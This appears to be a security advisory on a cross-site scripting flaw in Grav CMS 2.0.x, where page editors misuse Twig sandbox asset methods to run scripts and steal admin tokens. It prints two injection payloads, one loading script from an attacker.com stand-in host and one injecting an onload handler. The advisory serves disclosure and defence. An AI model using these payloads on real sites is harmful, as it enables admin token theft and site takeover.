Junglewise Threat Intelligence

Grav CMS cross-site scripting via Twig sandbox asset injection

Severity: medium · CVSS 5.1 · Published 2026-08-21

Executive brief

Grav CMS, a flat-file content management system, allows page editors to inject malicious JavaScript into rendered pages through the Twig templating sandbox. A user with only page-editing permissions can register arbitrary scripts that run for all site visitors, including administrators. When an admin previews or browses the affected page, the injected script can steal administrator authentication tokens stored in browser storage, escalating to full site takeover.

Technical details

Grav 2.0 renders editor-authored Twig in page content by default using a content sandbox policy. The sandbox allowlists the `addcss` and `addjs` methods on `Grav\Common\Assets`, allowing page editors to register arbitrary assets. Because the sandbox validates the *method call* rather than its downstream effect, a page editor can inject malicious asset URLs via `{{ assets.addJs('https://attacker.com/payload.js') }}` or attribute injection like `{{ assets.addJs('/path.js', {'onload':'alert(1)'}) }}`. The asset URLs are concatenated into HTML tags without escaping in `Assets/Js.php:46` and similar files, allowing quote breakout and arbitrary attribute injection. The save-time XSS detector cannot catch this: it inspects only the rendered content body in isolation, while `addJs()` mutates the shared Assets service. Timing ensures execution occurs before the page head is rendered. The attack is reachable by a plain page editor with no Twig permission override needed on stock installs, and affects all Grav 2.0.0 through 2.0.19. Fixed in 2.0.20 by removing the allowlist entries and HTML-escaping all asset URLs.

Affected products

  • Grav Grav CMS 2.0.0 through 2.0.19

Timeline

  • 2026-08-21: disclosed: Advisory published
  • 2026-08-21: patched: Fixed in Grav 2.0.20

References

Related threats